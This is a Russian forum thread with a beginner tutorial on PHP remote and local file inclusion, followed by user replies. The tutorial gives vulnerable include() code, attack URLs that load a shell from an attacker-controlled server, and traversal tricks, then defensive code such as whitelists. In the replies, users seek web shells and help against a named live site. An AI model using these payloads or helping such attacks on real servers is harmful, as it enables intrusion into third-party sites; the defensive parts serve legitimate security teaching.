php-injection для новичков.

Тема в разделе "Статьи", создана пользователем onthar, 26 дек 2008.

  1. onthar
    onthar Продвинутый
    Симпатии:
    224
    Основы php-инъекций для новичков.​

    (c)Wiki​

    Азы.​


    Php-injection - это форма атаки на сайт, когда атакующий внедряет свой php-код в атакуемое php-приложение.
    При успешной инъекции атакующий может выполнить произвольный (потенциально опасный) пхп-код на целевом сервере. На пример залить шелл. Но сначала подробно разжуем, как это происходит.

    На пример:
    Представим, что у нас имеется сайт, написанный на PHP.
    Представим так же, что сайт использует комманду page=page.html для отображения запрашиваемой страницы.
    Код будет выглядить так:
    PHP:
    <?php
      $file 
    =$_GET['page']; //Отображаемая страница
      
    include($file);
    ?>
    Это значит, что все, выводимое на странице, будет внедрено в пхп-код этой страницы. Следовательно атакующий может проделать что-то наподобии:
    PHP:
    http://www.атакуемый_сайт.com/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt?
    Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:
    PHP:
    <?php
      $file 
    ="http://www.атакующий_серв.com/вредоносный_скрипт.txt?"; //$_GET['page'];
      
    include($file); //$file - это внедренный злоумышленником скрипт
    ?>
    Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.

    Подробнее:
    И так, почему же злоумышленник смог провести PHP-инъекцию?
    Все потому что функция include() позволяет запускать удаленные файлы.

    Почему в примере был указан скрипт с расширением *.txt, а не *.php?
    Ответ прост, если бы скрипт имел формат *.php, он бы запустился на сервере злоумышленника, а не на целевой системе.

    Так же был добавлен символ "?" в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функции include() на целевом сервере.
    Пример:
    PHP:
    <?php
      $file 
    =$_GET['page'];
      include(
    $file .".php");
    ?>
    Этот скрипт добавляет расширение *.php к чему либо, вызываемомому коммандой include().
    Т.е.
    PHP:
    http://www.атакующий_серв.com/вредоносный_скрипт.txt
    Превращается в
    PHP:
    http://www.атакующий_серв.com/вредоносный_скрипт.txt.php
    С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php)
    По этому, мы и добавляем "?" в конец пути к вредоносному скрипту:
    PHP:
    http://www.атакующий_серв.com/вредоносный_скрипт.txt?.php
    Но он остается исполняемым.

    Проведение PHP-инъекций через уязвимость функции include().​


    RFI - удаленный инклюд при PHP-инъекции.​

    Возможность проведения RFI - довольно частая бага в двигах.
    Найти ее можно следущим образом:
    Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом:
    PHP:
    /index.php?page=main
    Подставляем вместо main любое бредовое значение, например upyachka
    PHP:
    /index.php?page=upyachka
    В ответ получим ошибку:
    PHP:
    Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3

    Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3

    Warning
    : main(): Failed opening 'upyachka.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3
    Это показывает нам на то, что инклуд осуществим.
    Пробуем подставить вместо upyachka сайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше)
    PHP:
    http://www.атакуемый_сервер.com/index.php?file=http://www.сайт_злоумышленника.com/shell
    Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой.

    LFI - локальный инклюд при PHP-инъекции.​

    Представим, что мы набрели на тот же уязвимый сайт
    PHP:
    /index.php?file=main
    С кодом
    PHP:
    <? 
    .. 
    Include (
    "folder/$page.htm"); 
    … 
    ?>
    Это уже локальный инклюд. В этой ситуации возможен только листинг файлов:
    PHP:
    /index.php?page=../index.php
    В следующем случае код выглядит вот таким образом:
    PHP:
    <? 
    .. 
    Include (
    "$dir1/folder/page.php"); 
    … 
    ?>
    В этом случае можно прописать путь к шеллу следующим образом:
    Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл:
    PHP:
    http://www.сайт_злоумышленника.com/folder/shell.php
    Инъекция в таком случае будет выглядить так:
    PHP:
    index.php?dir1=http://www.сайт_злоумышленника.com/
    Способы защиты​

    Рассмотрим скрипт:
    PHP:
    <?
    ...
    $module = $_GET['module'];
    include 
    $module . '.php';
    ...
    ?>
    Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется *.php и по полученному пути запускается файл.
    Существует несколько способов защиты от такой атаки:​

    -Проверять, не содержит ли переменная $module посторонние символы:
    PHP:
    <?
    ...
    $module = $_GET['module'];
    if (
    strpbrk($module, '.?/:')) die('Blocked');
    include 
    $module. '.php';
    ...
    ?>
    -Проверять, что $module присвоено одно из допустимых значений:
    PHP:
    ...
    $module = $_GET['module'];
    $arr = array('main', 'about', 'links', 'forum');
    if (!
    in_array($module,$arr)) $module = $arr[0];
    include 
    $module . '.php';
    ...
    ?>
    Второй способ эффективнее и аккуратнее.

    Так же существует проверка существования файла:
    PHP:
    <? 
    .. 
    if (
    file_exists("$page.php")) //Проверяется файл, если он существует, то происходит запуск.
    { 
    Include (
    "$page.php"); 
    } 
    Else 
    //Есле… 
    { 
    Echo 
    "Error!"; 
    } 
    … 
    ?>

    От локального инклюда может помочь следующее:
    PHP:
    <? 
    .. 
    $page=str_replace("/","",$page); // Блокируется возможность перехода в другие дирректории.
    if (file_exists("files/$page.htm ")) 
    { 
    Include (
    "files/$page.htm"); 
    } 
    Else 
    { 
    Echo 
    "error"; 
    } 
    … 
    ?>
    PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini.

    Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

    При написании были использованы материалы из
    Википедии,
    с забугорного форума security-sh3ll (spl0it),
    с форума Античат (GreenBear).
    Отдельное спасибо Burt и f02 за помощь,
    поддержку и благую критику)​
     
    Последнее редактирование: 26 дек 2008
    26 дек 2008
    7 пользователям это понравилось.
  2. faza02
    faza02 Guest
    я тибя люблю =*
     
    26 дек 2008
  3. Math
    Math Guest
    При разработке скриптов полезно пользоваться принципом "Запрещено все, что не разрешено" - инклуд посредством switch'я
    PHP:
    <?php
    switch ($id) {
    case 
    ’lol’:
     include 
    ’lol.php’;
     break;

    default:
     include 
    ’heckeng.php’;
    } 

    ?>
    Тогда ссылки будут вида
    PHP:
    <a href="page.php?id=lol"> Ready to become a mehohecker ?</a>
     
    Последнее редактирование модератором: 26 дек 2008
    26 дек 2008
    2 пользователям это понравилось.
  4. mathx
    mathx Новичок
    Симпатии:
    0
    какой шелл вы посаветуите для php injection ?
     
    18 июл 2009
  5. Hookman
    Hookman Guest
    а что шелл который ты будешь использовать при пхп-инжекте должен чем то отличаться от обычного? MadnetShell v2.1 и вперёд)
     
    18 июл 2009
  6. mathx
    mathx Новичок
    Симпатии:
    0
    Hookman,

    для пхп инекции не нужен специальний шелл? ведь при пхп инекции шелл внидраетса в пхп код а не на ftp

    Вы можете дать мне link для madnetshell v2.1 ?
     
    Последнее редактирование: 18 июл 2009
    18 июл 2009
  7. xeran
    xeran Guest
    18 июл 2009
  8. Hookman
    Hookman Guest
    https://xaker.name/forvb/showthread.php?t=10999
     
    18 июл 2009
  9. Dr3ammy
    Dr3ammy Guest
    вобшем такая у меня возникла небольшая проблемма :
    есть уязвимый сайт,при попытке запуска шелла ,он запускается на моем хосте(если его расширение *.php),а если запускать его вот таким образом шелл.txt?.php ,то мне показывает исходный код скрипта (шелла).Подскажите плиз что я делаю неверно или из за чего еще может быть эта проблемма(хост и тп) .
     
    22 июл 2009
  10. b3
    b3 Guest
    Невозможно приинклудить php скрипт удаленно и выполнить его код, потому как ты инклудиш результат выполнения, подумай логически я сейчас делаю на локалхосте такой код:
    и смотрю конфиги форума.
    Кинь в личку ссылку я поколупаю, если хочеш.
     
    22 июл 2009
    1 человеку нравится это.
  11. Dr3ammy
    Dr3ammy Guest
    не,пасиба,я хотю сам,но если поможеш советом будет неплохо)
     
    23 июл 2009
  12. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    есть сайт, он открывает файл который указываеться в гет запросе но там такая хня:

    как можно запустить шел ?
     
    5 сен 2009
  13. b3
    b3 Guest
    Пробуй так ../www..../shell.php? если allow_url_include = on, а так же попробуй читать файлы на сервере.
     
    5 сен 2009
  14. ozario
    ozario Новичок
    Симпатии:
    0
    привет у меня есть такая сылка http://www.volgafoto.com/?page_id= но не чего не происходит я всё подстовляю помогите .
     
    22 авг 2011
  15. xelaxter
    xelaxter Новичок
    Симпатии:
    1
    так он инклюдит или открывает? Если инклюдит - то поможет нуль-байт или статья "новая веха в теории инклюдов". Если открывает (fopen) то для просмотра может помочь нуль-байт (зависит от настроек сервера) или ничего.
    Это WordPress 3.2.1 и в нём нет уязвимости в параметре page_id.
     
    22 авг 2011
Загрузка...